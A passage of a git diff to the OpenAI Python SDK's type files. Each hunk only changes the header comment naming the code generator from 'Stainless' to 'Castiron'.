from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared/reasoning.py b/src/openai/types/shared/reasoning.py
index c1fe873ae0..ac9a972ef4 100644
--- a/src/openai/types/shared/reasoning.py
+++ b/src/openai/types/shared/reasoning.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/shared/reasoning_effort.py b/src/openai/types/shared/reasoning_effort.py
index 0ecf058596..b244c12b07 100644
--- a/src/openai/types/shared/reasoning_effort.py
+++ b/src/openai/types/shared/reasoning_effort.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared/response_format_json_object.py b/src/openai/types/shared/response_format_json_object.py
index 98e0da6a2c..c9aa41fb3c 100644
--- a/src/openai/types/shared/response_format_json_object.py
+++ b/src/openai/types/shared/response_format_json_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/shared/response_format_json_schema.py b/src/openai/types/shared/response_format_json_schema.py
index 9b2adb66cd..d75ad8e560 100644
--- a/src/openai/types/shared/response_format_json_schema.py
+++ b/src/openai/types/shared/response_format_json_schema.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/shared/response_format_text.py b/src/openai/types/shared/response_format_text.py
index 9f4bc0d13e..2ac1ce813f 100644
--- a/src/openai/types/shared/response_format_text.py
+++ b/src/openai/types/shared/response_format_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/shared/response_format_text_grammar.py b/src/openai/types/shared/response_format_text_grammar.py
index 84cd141278..0800eb119f 100644
--- a/src/openai/types/shared/response_format_text_grammar.py
+++ b/src/openai/types/shared/response_format_text_grammar.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/shared/response_format_text_python.py b/src/openai/types/shared/response_format_text_python.py
index 1b04cb62ba..49b7c11bfa 100644
--- a/src/openai/types/shared/response_format_text_python.py
+++ b/src/openai/types/shared/response_format_text_python.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/shared/responses_model.py b/src/openai/types/shared/responses_model.py
index 38cdea9a94..ab6b612d26 100644
--- a/src/openai/types/shared/responses_model.py
+++ b/src/openai/types/shared/responses_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/shared_params/__init__.py b/src/openai/types/shared_params/__init__.py
index 0ed5fbaa80..749b645593 100644
--- a/src/openai/types/shared_params/__init__.py
+++ b/src/openai/types/shared_params/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .metadata import Metadata as Metadata
from .reasoning import Reasoning as Reasoning
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index e011270811..ffaa0dd7fe 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/comparison_filter.py b/src/openai/types/shared_params/comparison_filter.py
index 005f4d1f0d..17458847cf 100644
--- a/src/openai/types/shared_params/comparison_filter.py
+++ b/src/openai/types/shared_params/comparison_filter.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/compound_filter.py b/src/openai/types/shared_params/compound_filter.py
index 9358e46083..b5c6aaf97b 100644
--- a/src/openai/types/shared_params/compound_filter.py
+++ b/src/openai/types/shared_params/compound_filter.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/custom_tool_input_format.py b/src/openai/types/shared_params/custom_tool_input_format.py
index ddc71cacb4..f53730e8d2 100644
--- a/src/openai/types/shared_params/custom_tool_input_format.py
+++ b/src/openai/types/shared_params/custom_tool_input_format.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/function_definition.py b/src/openai/types/shared_params/function_definition.py
index b3fdaf86ff..86cfda2817 100644
--- a/src/openai/types/shared_params/function_definition.py
+++ b/src/openai/types/shared_params/function_definition.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/function_parameters.py b/src/openai/types/shared_params/function_parameters.py
index 45fc742d3b..bdf53dab7c 100644
--- a/src/openai/types/shared_params/function_parameters.py
+++ b/src/openai/types/shared_params/function_parameters.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/metadata.py b/src/openai/types/shared_params/metadata.py
index 821650b48b..d2c53f0e71 100644
--- a/src/openai/types/shared_params/metadata.py
+++ b/src/openai/types/shared_params/metadata.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/oauth_error_code.py b/src/openai/types/shared_params/oauth_error_code.py
index cb3c981881..c7d8b20b80 100644
--- a/src/openai/types/shared_params/oauth_error_code.py
+++ b/src/openai/types/shared_params/oauth_error_code.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/reasoning.py b/src/openai/types/shared_params/reasoning.py
index 3dd3fdf5f1..7a6e82f4b6 100644
--- a/src/openai/types/shared_params/reasoning.py
+++ b/src/openai/types/shared_params/reasoning.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/reasoning_effort.py b/src/openai/types/shared_params/reasoning_effort.py
index fede2a25a9..28a327c09c 100644
--- a/src/openai/types/shared_params/reasoning_effort.py
+++ b/src/openai/types/shared_params/reasoning_effort.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/response_format_json_object.py b/src/openai/types/shared_params/response_format_json_object.py
index ef5d43be2e..2098fd8045 100644
--- a/src/openai/types/shared_params/response_format_json_object.py
+++ b/src/openai/types/shared_params/response_format_json_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/response_format_json_schema.py b/src/openai/types/shared_params/response_format_json_schema.py
index 0a0e846873..c9e5a2bf5f 100644
--- a/src/openai/types/shared_params/response_format_json_schema.py
+++ b/src/openai/types/shared_params/response_format_json_schema.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/response_format_text.py b/src/openai/types/shared_params/response_format_text.py
index c195036f95..36895e4600 100644
--- a/src/openai/types/shared_params/response_format_text.py
+++ b/src/openai/types/shared_params/response_format_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/shared_params/responses_model.py b/src/openai/types/shared_params/responses_model.py
index ad44dd6bf7..030413dd0d 100644
--- a/src/openai/types/shared_params/responses_model.py
+++ b/src/openai/types/shared_params/responses_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skill.py b/src/openai/types/skill.py
index 25d74978d8..9368db8e00 100644
--- a/src/openai/types/skill.py
+++ b/src/openai/types/skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/skill_create_params.py b/src/openai/types/skill_create_params.py
index 5a709286a1..0eb4a8ce9a 100644
--- a/src/openai/types/skill_create_params.py
+++ b/src/openai/types/skill_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skill_list.py b/src/openai/types/skill_list.py
index fc5b57bc26..a3f00f5073 100644
--- a/src/openai/types/skill_list.py
+++ b/src/openai/types/skill_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/skill_list_params.py b/src/openai/types/skill_list_params.py
index ffe7967915..1bf2d27446 100644
--- a/src/openai/types/skill_list_params.py
+++ b/src/openai/types/skill_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skill_update_params.py b/src/openai/types/skill_update_params.py
index 48a790e1fc..3af31ac961 100644
--- a/src/openai/types/skill_update_params.py
+++ b/src/openai/types/skill_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skills/__init__.py b/src/openai/types/skills/__init__.py
index b0605fb85b..7400107428 100644
--- a/src/openai/types/skills/__init__.py
+++ b/src/openai/types/skills/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skills/deleted_skill_version.py b/src/openai/types/skills/deleted_skill_version.py
index e1fd8c4985..a1272f3374 100644
--- a/src/openai/types/skills/deleted_skill_version.py
+++ b/src/openai/types/skills/deleted_skill_version.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/skills/skill_version.py b/src/openai/types/skills/skill_version.py
index 74b47000a5..749d74e585 100644
--- a/src/openai/types/skills/skill_version.py
+++ b/src/openai/types/skills/skill_version.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/skills/skill_version_list.py b/src/openai/types/skills/skill_version_list.py
index 7d10082f1c..56acc454be 100644
--- a/src/openai/types/skills/skill_version_list.py
+++ b/src/openai/types/skills/skill_version_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/skills/version_create_params.py b/src/openai/types/skills/version_create_params.py
index 043b43a030..c912b70734 100644
--- a/src/openai/types/skills/version_create_params.py
+++ b/src/openai/types/skills/version_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skills/version_list_params.py b/src/openai/types/skills/version_list_params.py
index 0638f40086..a0c5e28b68 100644
--- a/src/openai/types/skills/version_list_params.py
+++ b/src/openai/types/skills/version_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/skills/versions/__init__.py b/src/openai/types/skills/versions/__init__.py
index f8ee8b14b1..273c8b57af 100644
--- a/src/openai/types/skills/versions/__init__.py
+++ b/src/openai/types/skills/versions/__init__.py
@@ -1,3 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/static_file_chunking_strategy.py b/src/openai/types/static_file_chunking_strategy.py
index cb842442c1..e5e0d186cb 100644
--- a/src/openai/types/static_file_chunking_strategy.py
+++ b/src/openai/types/static_file_chunking_strategy.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/static_file_chunking_strategy_object.py b/src/openai/types/static_file_chunking_strategy_object.py
index 2a95dce5b3..c8d901d5eb 100644
--- a/src/openai/types/static_file_chunking_strategy_object.py
+++ b/src/openai/types/static_file_chunking_strategy_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/static_file_chunking_strategy_object_param.py b/src/openai/types/static_file_chunking_strategy_object_param.py
index 40188a41d5..1978677544 100644
--- a/src/openai/types/static_file_chunking_strategy_object_param.py
+++ b/src/openai/types/static_file_chunking_strategy_object_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/static_file_chunking_strategy_param.py b/src/openai/types/static_file_chunking_strategy_param.py
index f917ac5647..4b6847fc24 100644
--- a/src/openai/types/static_file_chunking_strategy_param.py
+++ b/src/openai/types/static_file_chunking_strategy_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/upload.py b/src/openai/types/upload.py
index d248da6ee3..060fb09bb6 100644
--- a/src/openai/types/upload.py
+++ b/src/openai/types/upload.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/upload_complete_params.py b/src/openai/types/upload_complete_params.py
index 846a241dc7..2d5ab1cb2f 100644
--- a/src/openai/types/upload_complete_params.py
+++ b/src/openai/types/upload_complete_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/upload_create_params.py b/src/openai/types/upload_create_params.py
index c25d65bedd..d2c41688db 100644
--- a/src/openai/types/upload_create_params.py
+++ b/src/openai/types/upload_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/uploads/__init__.py b/src/openai/types/uploads/__init__.py
index 41deb0ab4b..532940be80 100644
--- a/src/openai/types/uploads/__init__.py
+++ b/src/openai/types/uploads/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/uploads/part_create_params.py b/src/openai/types/uploads/part_create_params.py
index 9851ca41e9..38da27c8a9 100644
--- a/src/openai/types/uploads/part_create_params.py
+++ b/src/openai/types/uploads/part_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/uploads/upload_part.py b/src/openai/types/uploads/upload_part.py
index e585b1a227..49fdb6d6ba 100644
--- a/src/openai/types/uploads/upload_part.py
+++ b/src/openai/types/uploads/upload_part.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/vector_store.py b/src/openai/types/vector_store.py
index 82899ecd1b..40e9326f3a 100644
--- a/src/openai/types/vector_store.py
+++ b/src/openai/types/vector_store.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/vector_store_create_params.py b/src/openai/types/vector_store_create_params.py
index 2b72562984..3421e7e52e 100644
--- a/src/openai/types/vector_store_create_params.py
+++ b/src/openai/types/vector_store_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_store_deleted.py b/src/openai/types/vector_store_deleted.py
index dfac9ce8bd..e4a7605d71 100644
--- a/src/openai/types/vector_store_deleted.py
+++ b/src/openai/types/vector_store_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/vector_store_list_params.py b/src/openai/types/vector_store_list_params.py
index e26ff90a85..94932859a4 100644
--- a/src/openai/types/vector_store_list_params.py
+++ b/src/openai/types/vector_store_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_store_search_params.py b/src/openai/types/vector_store_search_params.py
index 851d63c5d1..25abc2d21f 100644
--- a/src/openai/types/vector_store_search_params.py
+++ b/src/openai/types/vector_store_search_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_store_search_response.py b/src/openai/types/vector_store_search_response.py
index d78b71bfba..4139fa00fc 100644
--- a/src/openai/types/vector_store_search_response.py
+++ b/src/openai/types/vector_store_search_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/vector_store_update_params.py b/src/openai/types/vector_store_update_params.py
index 7c6f891170..2807c4e548 100644
--- a/src/openai/types/vector_store_update_params.py
+++ b/src/openai/types/vector_store_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/__init__.py b/src/openai/types/vector_stores/__init__.py
index 96ce301481..5967d90a36 100644
--- a/src/openai/types/vector_stores/__init__.py
+++ b/src/openai/types/vector_stores/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/file_batch_create_params.py b/src/openai/types/vector_stores/file_batch_create_params.py
index 1e578888c5..dc3aad103c 100644
--- a/src/openai/types/vector_stores/file_batch_create_params.py
+++ b/src/openai/types/vector_stores/file_batch_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/file_batch_list_files_params.py b/src/openai/types/vector_stores/file_batch_list_files_params.py
index 2a0a6c6aa7..1542374173 100644
--- a/src/openai/types/vector_stores/file_batch_list_files_params.py
+++ b/src/openai/types/vector_stores/file_batch_list_files_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/file_content_response.py b/src/openai/types/vector_stores/file_content_response.py
index 32db2f2ce9..4e91600936 100644
--- a/src/openai/types/vector_stores/file_content_response.py
+++ b/src/openai/types/vector_stores/file_content_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/vector_stores/file_create_params.py b/src/openai/types/vector_stores/file_create_params.py
index 530adee8f6..dccc899785 100644
--- a/src/openai/types/vector_stores/file_create_params.py
+++ b/src/openai/types/vector_stores/file_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/file_list_params.py b/src/openai/types/vector_stores/file_list_params.py
index 867b5fb3bb..893c697b38 100644
--- a/src/openai/types/vector_stores/file_list_params.py
+++ b/src/openai/types/vector_stores/file_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/file_update_params.py b/src/openai/types/vector_stores/file_update_params.py
index ebf540d046..6d357a8ee1 100644
--- a/src/openai/types/vector_stores/file_update_params.py
+++ b/src/openai/types/vector_stores/file_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/vector_stores/vector_store_file.py b/src/openai/types/vector_stores/vector_store_file.py
index c1ea02227f..1c14d6266d 100644
--- a/src/openai/types/vector_stores/vector_store_file.py
+++ b/src/openai/types/vector_stores/vector_store_file.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/vector_stores/vector_store_file_batch.py b/src/openai/types/vector_stores/vector_store_file_batch.py
index b07eb25da5..56c345a2a4 100644
--- a/src/openai/types/vector_stores/vector_store_file_batch.py
+++ b/src/openai/types/vector_stores/vector_store_file_batch.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/vector_stores/vector_store_file_deleted.py b/src/openai/types/vector_stores/vector_store_file_deleted.py
index 5c856f26cd..e345a816c0 100644
--- a/src/openai/types/vector_stores/vector_store_file_deleted.py
+++ b/src/openai/types/vector_stores/vector_store_file_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/video.py b/src/openai/types/video.py
index 051b951ede..da5445d106 100644
--- a/src/openai/types/video.py
+++ b/src/openai/types/video.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/video_create_character_params.py b/src/openai/types/video_create_character_params.py
index ef671e598f..ba51b13423 100644
--- a/src/openai/types/video_create_character_params.py
+++ b/src/openai/types/video_create_character_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_create_character_response.py b/src/openai/types/video_create_character_response.py
index e3a65a0200..464f42cf11 100644
--- a/src/openai/types/video_create_character_response.py
+++ b/src/openai/types/video_create_character_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/video_create_error.py b/src/openai/types/video_create_error.py
index 7f520220c8..beba56f63c 100644
--- a/src/openai/types/video_create_error.py
+++ b/src/openai/types/video_create_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/video_create_params.py b/src/openai/types/video_create_params.py
index 641ac7db45..2802ee3380 100644
--- a/src/openai/types/video_create_params.py
+++ b/src/openai/types/video_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_delete_response.py b/src/openai/types/video_delete_response.py
index 1ed543aec8..045a8dae68 100644
--- a/src/openai/types/video_delete_response.py
+++ b/src/openai/types/video_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/video_download_content_params.py b/src/openai/types/video_download_content_params.py
index 8c113d6715..1184684baa 100644
--- a/src/openai/types/video_download_content_params.py
+++ b/src/openai/types/video_download_content_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_edit_params.py b/src/openai/types/video_edit_params.py
index 44e8c35d7f..aa4d4f59cf 100644
--- a/src/openai/types/video_edit_params.py
+++ b/src/openai/types/video_edit_params.py
@@ -1,4 +1,4 @@
